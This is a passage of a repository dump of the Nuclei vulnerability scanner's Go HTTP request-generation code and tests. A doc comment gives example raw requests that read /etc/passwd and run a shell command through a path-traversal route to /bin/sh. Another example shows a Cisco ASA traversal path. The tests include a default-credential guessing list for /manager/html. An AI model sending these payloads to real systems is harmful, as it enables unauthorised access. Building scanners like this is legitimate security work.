nil && !r.request.SkipVariablesCheck {\n\t\t\treturn nil, errkit.Newf(\"unresolved variables `%v` found in request\", parts[1])\n\t\t}\n\n\t\tparsed, err := urlutil.ParseURL(parts[1], true)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not parse request URL: %w\", err)\n\t\t}\n\t\tvalues = generators.MergeMaps(\n\t\t\tgenerators.MergeMaps(dynamicValues, protocolutils.GenerateVariables(parsed, false, nil)),\n\t\t\tvalues,\n\t\t)\n\t\t// Evaluate (replace) variable with final values\n\t\tdata, err = expressions.Evaluate(data, values)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrap(err, \"could not evaluate helper expressions\")\n\t\t}\n\t\treturn r.generateRawRequest(ctx, data, parsed, values, payloads)\n\t}\n\tif err := expressions.ContainsUnresolvedVariables(data); err != nil && !r.request.SkipVariablesCheck {\n\t\t// early exit: if there are any unresolved variables in `path` after evaluation\n\t\t// then return early since this will definitely fail\n\t\treturn nil, errkit.Newf(\"unresolved variables `%v` found in request\", data)\n\t}\n\n\turlx, err := urlutil.ParseURL(data, true)\n\tif err != nil {\n\t\treturn nil, errkit.Wrapf(err, \"failed to parse %v in self contained request\", data)\n\t}\n\treturn r.generateHttpRequest(ctx, urlx, values, payloads)\n}\n\n// generateHttpRequest generates http request from request data from template and variables\n// finalVars = contains all variables including generator and protocol specific variables\n// generatorValues = contains variables used in fuzzing or other generator specific values\nfunc (r *requestGenerator) generateHttpRequest(ctx context.Context, urlx *urlutil.URL, finalVars, generatorValues map[string]interface{}) (*generatedRequest, error) {\n\tmethod, err := expressions.Evaluate(r.request.Method.String(), finalVars)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to evaluate while generating http request\")\n\t}\n\t// Build a request on the specified URL\n\treq, err := retryablehttp.NewRequestFromURLWithContext(ctx, method, urlx, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trequest, err := r.fillRequest(req, finalVars)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &generatedRequest{request: request, meta: generatorValues, original: r.request, dynamicValues: finalVars, interactshURLs: r.interactshURLs}, nil\n}\n\n// generateRawRequest generates Raw Request from request data from template and variables\n// finalVars = contains all variables including generator and protocol specific variables\n// generatorValues = contains variables used in fuzzing or other generator specific values\nfunc (r *requestGenerator) generateRawRequest(ctx context.Context, rawRequest string, baseURL *urlutil.URL, finalVars, generatorValues map[string]interface{}) (*generatedRequest, error) {\n\n\tvar rawRequestData *raw.Request\n\tvar err error\n\tif r.request.SelfContained {\n\t\t// in self contained requests baseURL is extracted from raw request itself\n\t\trawRequestData, err = raw.ParseRawRequest(rawRequest, r.request.Unsafe)\n\t} else {\n\t\trawRequestData, err = raw.Parse(rawRequest, baseURL, r.request.Unsafe, r.request.DisablePathAutomerge)\n\t}\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to parse raw request\")\n\t}\n\n\t// Unsafe option uses rawhttp library\n\tif r.request.Unsafe {\n\t\tannotationURL := rawRequestData.FullURL\n\t\tif annotationURL == \"\" && baseURL != nil {\n\t\t\tcloned := baseURL.Clone()\n\t\t\tcloned.Params.IncludeEquals = true\n\t\t\tcloned.Path = \"\"\n\t\t\t_ = cloned.MergePath(rawRequestData.Path, true)\n\t\t\tannotationURL = cloned.String()\n\t\t\trawRequestData.FullURL = annotationURL\n\t\t}\n\n\t\tvar annotationOverrides annotationOverrides\n\t\tif annotationURL != \"\" {\n\t\t\tannotationRequest, reqErr := retryablehttp.NewRequestWithContext(ctx, rawRequestData.Method, annotationURL, nil)\n\t\t\tif reqErr == nil {\n\t\t\t\tif hostHeader, ok := rawRequestData.Headers[\"Host\"]; ok {\n\t\t\t\t\tannotationRequest.Host = hostHeader\n\t\t\t\t}\n\n\t\t\t\tannotationOverrides, _ = r.request.parseAnnotations(rawRequest, annotationRequest)\n\t\t\t\tif annotationOverrides.request != nil && annotationOverrides.request.URL != nil {\n\t\t\t\t\trawRequestData.FullURL = annotationOverrides.request.String()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(r.options.Options.CustomHeaders) > 0 {\n\t\t\t_ = rawRequestData.TryFillCustomHeaders(r.options.Options.CustomHeaders)\n\t\t}\n\n\t\tif rawRequestData.Data != \"\" && !stringsutil.EqualFoldAny(rawRequestData.Method, http.MethodHead, http.MethodGet) && rawRequestData.Headers[\"Transfer-Encoding\"] != \"chunked\" {\n\t\t\trawRequestData.Headers[\"Content-Length\"] = strconv.Itoa(len(rawRequestData.Data))\n\t\t}\n\n\t\tunsafeReq := &generatedRequest{rawRequest: rawRequestData, meta: generatorValues, original: r.request, interactshURLs: r.interactshURLs}\n\t\tif annotationOverrides.cancelFunc != nil {\n\t\t\tunsafeReq.customCancelFunction = annotationOverrides.cancelFunc\n\t\t}\n\n\t\tif len(annotationOverrides.interactshURLs) > 0 {\n\t\t\tunsafeReq.interactshURLs = append(unsafeReq.interactshURLs, annotationOverrides.interactshURLs...)\n\t\t}\n\n\t\treturn unsafeReq, nil\n\t}\n\turlx, err := urlutil.ParseAbsoluteURL(rawRequestData.FullURL, true)\n\tif err != nil {\n\t\treturn nil, errkit.Wrapf(err, \"failed to create request with url %v got %v\", rawRequestData.FullURL, err)\n\t}\n\treq, err := retryablehttp.NewRequestFromURLWithContext(ctx, rawRequestData.Method, urlx, rawRequestData.Data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// force transfer encoding if conditions are met\n\tif len(rawRequestData.Data) > 0 && req.Header.Get(\"Transfer-Encoding\") != \"chunked\" && !stringsutil.EqualFoldAny(rawRequestData.Method, http.MethodGet, http.MethodHead) {\n\t\treq.ContentLength = int64(len(rawRequestData.Data))\n\t}\n\n\t// override the body with a new one that will be used to read the request body in parallel threads\n\t// for race condition testing\n\tif r.request.Threads > 0 && r.request.Race {\n\t\treq.Body = race.NewOpenGateWithTimeout(req.Body, time.Duration(2)*time.Second)\n\t}\n\tfor key, value := range rawRequestData.Headers {\n\t\tif key == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\treq.Header[key] = []string{value}\n\t\tif key == \"Host\" {\n\t\t\treq.Host = value\n\t\t}\n\t}\n\trequest, err := r.fillRequest(req, finalVars)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgeneratedRequest := &generatedRequest{\n\t\trequest:        request,\n\t\tmeta:           generatorValues,\n\t\toriginal:       r.request,\n\t\tdynamicValues:  finalVars,\n\t\tinteractshURLs: r.interactshURLs,\n\t}\n\n\tif reqWithOverrides, hasAnnotations := r.request.parseAnnotations(rawRequest, req); hasAnnotations {\n\t\tgeneratedRequest.request = reqWithOverrides.request\n\t\tgeneratedRequest.customCancelFunction = reqWithOverrides.cancelFunc\n\t\tgeneratedRequest.interactshURLs = append(generatedRequest.interactshURLs, reqWithOverrides.interactshURLs...)\n\t}\n\n\treturn generatedRequest, nil\n}\n\n// fillRequest fills various headers in the request with values\nfunc (r *requestGenerator) fillRequest(req *retryablehttp.Request, values map[string]interface{}) (*retryablehttp.Request, error) {\n\t// Set the header values requested\n\tfor header, value := range r.request.Headers {\n\t\tif r.options.Interactsh != nil {\n\t\t\tvalue, r.interactshURLs = r.options.Interactsh.Replace(value, r.interactshURLs)\n\t\t}\n\t\tvalue, err := expressions.Evaluate(value, values)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrap(err, \"failed to evaluate while adding headers to request\")\n\t\t}\n\t\treq.Header[header] = []string{value}\n\t\tif header == \"Host\" {\n\t\t\treq.Host = value\n\t\t}\n\t}\n\n\t// In case of multiple threads the underlying connection should remain open to allow reuse\n\tif r.request.Threads <= 0 && req.Header.Get(\"Connection\") == \"\" && r.options.Options.ScanStrategy != scanstrategy.HostSpray.String() {\n\t\treq.Close = true\n\t}\n\n\t// Check if the user requested a request body\n\tif r.request.Body != \"\" {\n\t\tbody := r.request.Body\n\t\tif r.options.Interactsh != nil {\n\t\t\tbody, r.interactshURLs = r.options.Interactsh.Replace(r.request.Body, r.interactshURLs)\n\t\t}\n\t\tbody, err := expressions.Evaluate(body, values)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrap(err, \"could not evaluate helper expressions\")\n\t\t}\n\t\tif err := req.SetBodyString(body); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to set request body\")\n\t\t}\n\t}\n\tif !r.request.Unsafe {\n\t\tuserAgent := useragent.PickRandom()\n\t\thttputil.SetHeader(req, \"User-Agent\", userAgent.Raw)\n\t}\n\n\t// Only set these headers on non-raw requests\n\tif len(r.request.Raw) == 0 && !r.request.Unsafe {\n\t\thttputil.SetHeader(req, \"Accept\", \"*/*\")\n\t\thttputil.SetHeader(req, \"Accept-Language\", \"en\")\n\t}\n\n\tif !LeaveDefaultPorts {\n\t\tswitch {\n\t\tcase req.Scheme == \"http\" && strings.HasSuffix(req.Host, \":80\"):\n\t\t\treq.Host = strings.TrimSuffix(req.Host, \":80\")\n\t\tcase req.Scheme == \"https\" && strings.HasSuffix(req.Host, \":443\"):\n\t\t\treq.Host = strings.TrimSuffix(req.Host, \":443\")\n\t\t}\n\t}\n\n\tif r.request.DigestAuthUsername != \"\" {\n\t\treq.Auth = &retryablehttp.Auth{\n\t\t\tType:     retryablehttp.DigestAuth,\n\t\t\tUsername: r.request.DigestAuthUsername,\n\t\t\tPassword: r.request.DigestAuthPassword,\n\t\t}\n\t}\n\n\treturn req, nil\n}\n"
  },
  {
    "path": "pkg/protocols/http/build_request_test.go",
    "content": "package http\n\nimport (\n\t\"context\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nfunc TestMakeRequestFromModal(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}/login.php\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPPost},\n\t\tBody:   \"username=test&password=pass\",\n\t\tHeaders: map[string]string{\n\t\t\t\"Content-Type\":   \"application/x-www-form-urlencoded\",\n\t\t\t\"Content-Length\": \"1\",\n\t\t},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http request\")\n\n\tgenerator := request.newGenerator(false)\n\tinputData, payloads, _ := generator.nextValue()\n\treq, err := generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\tif req.request.URL == nil {\n\t\tt.Fatalf(\"url is nil in generator make\")\n\t}\n\tbodyBytes, _ := req.request.BodyBytes()\n\trequire.Equal(t, \"/login.php\", req.request.Path, \"could not get correct request path\")\n\trequire.Equal(t, \"username=test&password=pass\", string(bodyBytes), \"could not get correct request body\")\n}\n\nfunc TestMakeRequestFromModalTrimSuffixSlash(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}?query=example\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http request\")\n\n\tgenerator := request.newGenerator(false)\n\tinputData, payloads, _ := generator.nextValue()\n\treq, err := generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com/test.php\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\trequire.Equal(t, \"https://example.com/test.php?query=example\", req.request.String(), \"could not get correct request path\")\n\n\tgenerator = request.newGenerator(false)\n\tinputData, payloads, _ = generator.nextValue()\n\treq, err = generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com/test/\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\trequire.Equal(t, \"https://example.com/test/?query=example\", req.request.String(), \"could not get correct request path\")\n}\n\nfunc TestMakeRequestFromRawWithPayloads(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:   templateID,\n\t\tName: \"testing\",\n\t\tPayloads: map[string]interface{}{\n\t\t\t\"username\": []string{\"admin\"},\n\t\t\t\"password\": []string{\"admin\", \"guest\", \"password\", \"test\", \"12345\", \"123456\"},\n\t\t},\n\t\tAttackType: generators.AttackTypeHolder{Value: generators.ClusterBombAttack},\n\t\tRaw: []string{`GET /manager/html HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Nuclei - Open-source project (github.com/projectdiscovery/nuclei)\nConnection: close\nAuthorization: Basic {{username + ':' + password}}\nAccept-Encoding: gzip`},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http request\")\n\n\tgenerator := request.newGenerator(false)\n\tinputData, payloads, _ := generator.nextValue()\n\treq, err := generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\tauthorization := req.request.Header.Get(\"Authorization\")\n\trequire.Equal(t, \"Basic admin:admin\", authorization, \"could not get correct authorization headers from raw\")\n\n\tinputData, payloads, _ = generator.nextValue()\n\treq, err = generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\tauthorization = req.request.Header.Get(\"Authorization\")\n\trequire.Equal(t, \"Basic admin:guest\", authorization, \"could not get correct authorization headers from raw\")\n}\n\nfunc TestMakeRequestFromRawPayloadExpressions(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:   templateID,\n\t\tName: \"testing\",\n\t\tPayloads: map[string]interface{}{\n\t\t\t\"username\": []string{\"admin\"},\n\t\t\t\"password\": []string{\"admin\", \"guest\", \"password\", \"test\", \"12345\", \"123456\"},\n\t\t},\n\t\tAttackType: generators.AttackTypeHolder{Value: generators.ClusterBombAttack},\n\t\tRaw: []string{`GET /manager/html HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Nuclei - Open-source project (github.com/projectdiscovery/nuclei)\nConnection: close\nAuthorization: Basic {{base64(username + ':' + password)}}\nAccept-Encoding: gzip`},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http request\")\n\n\tgenerator := request.newGenerator(false)\n\tinputData, payloads, _ := generator.nextValue()\n\treq, err := generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\tauthorization := req.request.Header.Get(\"Authorization\")\n\trequire.Equal(t, \"Basic YWRtaW46YWRtaW4=\", authorization, \"could not get correct authorization headers from raw\")\n\n\tinputData, payloads, _ = generator.nextValue()\n\treq, err = generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\tauthorization = req.request.Header.Get(\"Authorization\")\n\trequire.Equal(t, \"Basic YWRtaW46Z3Vlc3Q=\", authorization, \"could not get correct authorization headers from raw\")\n}\n\nfunc TestMakeUnsafeRequestFromRawWithHostAnnotation(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http-unsafe-annotations\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tUnsafe: true,\n\t\tRaw: []string{`@Host: honey.scanme.sh\nGET /foo HTTP/1.1\nHost: {{Hostname}}`},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile unsafe raw request\")\n\n\tgenerator := request.newGenerator(false)\n\tinputData, payloads, _ := generator.nextValue()\n\treq, err := generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"http://scanme.sh\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make unsafe http request\")\n\trequire.NotNil(t, req.rawRequest, \"raw request should be present\")\n\trequire.NotContains(t, string(req.rawRequest.UnsafeRawBytes), \"@Host:\", \"unsafe raw request bytes should not contain annotation lines\")\n\n\tparsedURL, parseErr := urlutil.ParseAbsoluteURL(req.rawRequest.FullURL, true)\n\trequire.Nil(t, parseErr, \"could not parse generated unsafe request URL\")\n\trequire.Equal(t, \"honey.scanme.sh\", parsedURL.Host, \"host should be overridden by @Host annotation in unsafe mode\")\n\trequire.Equal(t, \"http\", parsedURL.Scheme, \"scheme should inherit from input when annotation host has no scheme\")\n}\n\nfunc TestMakeRequestFromModelUniqueInteractsh(t *testing.T) {\n\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-unique-interactsh\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}/?u=http://{{interactsh-url}}/&href=http://{{interactsh-url}}/&action=http://{{interactsh-url}}/&host={{interactsh-url}}\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http request\")\n\n\tgenerator := request.newGenerator(false)\n\n\tgenerator.options.Interactsh, err = interactsh.New(&interactsh.Options{\n\t\tServerURL:           options.InteractshURL,\n\t\tCacheSize:           options.InteractionsCacheSize,\n\t\tEviction:            time.Duration(options.InteractionsEviction) * time.Second,\n\t\tCooldownPeriod:      time.Duration(options.InteractionsCoolDownPeriod) * time.Second,\n\t\tPollDuration:        time.Duration(options.InteractionsPollDuration) * time.Second,\n\t\tDisableHttpFallback: true,\n\t})\n\trequire.Nil(t, err, \"could not create interactsh client\")\n\n\tinputData, payloads, _ := generator.nextValue()\n\tgot, err := generator.Make(context.Background(), contextargs.NewWithInput(context.Background(), \"https://example.com\"), inputData, payloads, map[string]interface{}{})\n\trequire.Nil(t, err, \"could not make http request\")\n\n\t// check if all the interactsh markers are replaced with unique urls\n\trequire.NotContains(t, got.request.String(), \"{{interactsh-url}}\", \"could not get correct interactsh url\")\n\t// check the length of returned urls\n\trequire.Equal(t, len(got.interactshURLs), 4, \"could not get correct interactsh url\")\n\t// check if the interactsh urls are unique\n\trequire.True(t, areUnique(got.interactshURLs), \"interactsh urls are not unique\")\n}\n\n// areUnique checks if the elements of string slice are unique\nfunc areUnique(elements []string) bool {\n\tencountered := map[string]bool{}\n\tfor v := range elements {\n\t\tif encountered[elements[v]] {\n\t\t\treturn false\n\t\t}\n\t\tencountered[elements[v]] = true\n\t}\n\treturn true\n}\n"
  },
  {
    "path": "pkg/protocols/http/cluster.go",
    "content": "package http\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/cespare/xxhash\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n)\n\n// TmplClusterKey generates a unique key for the request\n// to be used in the clustering process.\nfunc (request *Request) TmplClusterKey() uint64 {\n\tinp := fmt.Sprintf(\"%s-%d-%t-%t-%s-%d\", request.Method.String(), request.MaxRedirects, request.DisableCookie, request.Redirects, strings.Join(request.Path, \"-\"), utils.MapHash(request.Headers))\n\treturn xxhash.Sum64String(inp)\n}\n\n// IsClusterable returns true if the request is eligible to be clustered.\nfunc (request *Request) IsClusterable() bool {\n\t//nolint\n\treturn !(len(request.Payloads) > 0 || len(request.Fuzzing) > 0 || len(request.Raw) > 0 || len(request.Body) > 0 || request.Unsafe || request.NeedsRequestCondition() || request.Name != \"\")\n}\n"
  },
  {
    "path": "pkg/protocols/http/cluster_test.go",
    "content": "package http\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCanCluster(t *testing.T) {\n\treq := &Request{Unsafe: true}\n\trequire.False(t, req.IsClusterable(), \"could cluster unsafe request\")\n\n\treq = &Request{Path: []string{\"{{BaseURL}}\"}, Method: HTTPMethodTypeHolder{MethodType: HTTPGet}}\n\tnewReq := &Request{Path: []string{\"{{BaseURL}}\"}, Method: HTTPMethodTypeHolder{MethodType: HTTPGet}}\n\trequire.True(t, req.IsClusterable(), \"could not cluster GET request\")\n\trequire.True(t, req.IsClusterable(), \"could not cluster GET request\")\n\trequire.Equal(t, req.TmplClusterKey(), newReq.TmplClusterKey(), \"cluster keys should be equal\")\n}\n"
  },
  {
    "path": "pkg/protocols/http/http.go",
    "content": "package http\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"math\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/invopop/jsonschema\"\n\tjson \"github.com/json-iterator/go\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool\"\n\thttputil \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats\"\n\t\"github.com/projectdiscovery/rawhttp\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// Request contains a http request to be made from a template\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline\" json:\",inline\"`\n\t// description: |\n\t//   Path contains the path/s for the HTTP requests. It supports variables\n\t//   as placeholders.\n\t// examples:\n\t//   - name: Some example path values\n\t//     value: >\n\t//       []string{\"{{BaseURL}}\", \"{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions\"}\n\tPath []string `yaml:\"path,omitempty\" json:\"path,omitempty\" jsonschema:\"title=path(s) for the http request,description=Path(s) to send http requests to\"`\n\t// description: |\n\t//   Raw contains HTTP Requests in Raw format.\n\t// examples:\n\t//   - name: Some example raw requests\n\t//     value: |\n\t//       []string{\"GET /etc/passwd HTTP/1.1\\nHost:\\nContent-Length: 4\", \"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\\nContent-Length: 1\\nConnection: close\\n\\necho\\necho\\ncat /etc/passwd 2>&1\"}\n\tRaw []string `yaml:\"raw,omitempty\" json:\"raw,omitempty\" jsonschema:\"http requests in raw format,description=HTTP Requests in Raw Format\"`\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id for the http request,description=ID for the HTTP Request\"`\n\t// description: |\n\t//  Name is the optional name of the request.\n\t//\n\t//  If a name is specified, all the named request in a template can be matched upon\n\t//  in a combined manner allowing multi-request based matchers.\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=name for the http request,description=Optional name for the HTTP Request\"`\n\t// description: |\n\t//   Attack is the type of payload combinations to perform.\n\t//\n\t//   batteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\n\t//   permutations and combinations for all payloads.\n\t// values:\n\t//   - \"batteringram\"\n\t//   - \"pitchfork\"\n\t//   - \"clusterbomb\"\n\tAttackType generators.AttackTypeHolder `yaml:\"attack,omitempty\" json:\"attack,omitempty\" jsonschema:\"title=attack is the payload combination,description=Attack is the type of payload combinations to perform,enum=batteringram,enum=pitchfork,enum=clusterbomb\"`\n\t// description: |\n\t//   Method is the HTTP Request Method.\n\tMethod HTTPMethodTypeHolder `yaml:\"method,omitempty\" json:\"method,omitempty\" jsonschema:\"title=method is the http request method,description=Method is the HTTP Request Method,enum=GET,enum=HEAD,enum=POST,enum=PUT,enum=DELETE,enum=CONNECT,enum=OPTIONS,enum=TRACE,enum=PATCH,enum=PURGE\"`\n\t// description: |\n\t//   Body is an optional parameter which contains HTTP Request body.\n\t// examples:\n\t//   - name: Same Body for a Login POST request\n\t//     value: \"\\\"username=test&password=test\\\"\"\n\tBody string `yaml:\"body,omitempty\" json:\"body,omitempty\" jsonschema:\"title=body is the http request body,description=Body is an optional parameter which contains HTTP Request body\"`\n\t// description: |\n\t//   Payloads contains any payloads for the current request.\n\t//\n\t//   Payloads support both key-values combinations where a list\n\t//   of payloads is provided, or optionally a single file can also\n\t//   be provided as payload which will be read on run-time.\n\tPayloads map[string]interface{} `yaml:\"payloads,omitempty\" json:\"payloads,omitempty\" jsonschema:\"title=payloads for the http request,description=Payloads contains any payloads for the current request\"`\n\n\t// description: |\n\t//   Headers contains HTTP Headers to send with the request.\n\t// examples:\n\t//   - value: |\n\t//       map[string]string{\"Content-Type\": \"application/x-www-form-urlencoded\", \"Content-Length\": \"1\", \"Any-Header\": \"Any-Value\"}\n\tHeaders map[string]string `yaml:\"headers,omitempty\" json:\"headers,omitempty\" jsonschema:\"title=headers to send with the http request,description=Headers contains HTTP Headers to send with the request\"`\n\t// description: |\n\t//   RaceCount is the number of times to send a request in Race Condition Attack.\n\t// examples:\n\t//   - name: Send a request 5 times\n\t//     value: \"5\"\n\tRaceNumberRequests int `yaml:\"race_count,omitempty\" json:\"race_count,omitempty\" jsonschema:\"title=number of times to repeat request in race condition,description=Number of times to send a request in Race Condition Attack\"`\n\t// description: |\n\t//   MaxRedirects is the maximum number of redirects that should be followed.\n\t// examples:\n\t//   - name: Follow up to 5 redirects\n\t//     value: \"5\"\n\tMaxRedirects int `yaml:\"max-redirects,omitempty\" json:\"max-redirects,omitempty\" jsonschema:\"title=maximum number of redirects to follow,description=Maximum number of redirects that should be followed\"`\n\t// description: |\n\t//   PipelineConcurrentConnections is number of connections to create during pipelining.\n\t// examples:\n\t//   - name: Create 40 concurrent connections\n\t//     value: 40\n\tPipelineConcurrentConnections int `yaml:\"pipeline-concurrent-connections,omitempty\" json:\"pipeline-concurrent-connections,omitempty\" jsonschema:\"title=number of pipelining connections,description=Number of connections to create during pipelining\"`\n\t// description: |\n\t//   PipelineRequestsPerConnection is number of requests to send per connection when pipelining.\n\t// examples:\n\t//   - name: Send 100 requests per pipeline connection\n\t//     value: 100\n\tPipelineRequestsPerConnection int `yaml:\"pipeline-requests-per-connection,omitempty\" json:\"pipeline-requests-per-connection,omitempty\" jsonschema:\"title=number of requests to send per pipelining connections,description=Number of requests to send per connection when pipelining\"`\n\t// description: |\n\t//   Threads specifies number of threads to use sending requests. This enables Connection Pooling.\n\t//\n\t//   Connection: Close attribute must not be used in request while using threads flag, otherwise\n\t//   pooling will fail and engine will continue to close connections after requests.\n\t// examples:\n\t//   - name: Send requests using 10 concurrent threads\n\t//     value: 10\n\tThreads int `yaml:\"threads,omitempty\" json:\"threads,omitempty\" jsonschema:\"title=threads for sending requests,description=Threads specifies number of threads to use sending requests. This enables Connection Pooling\"`\n\t// description: |\n\t//   MaxSize is the maximum size of http response body to read in bytes.\n\t// examples:\n\t//   - name: Read max 2048 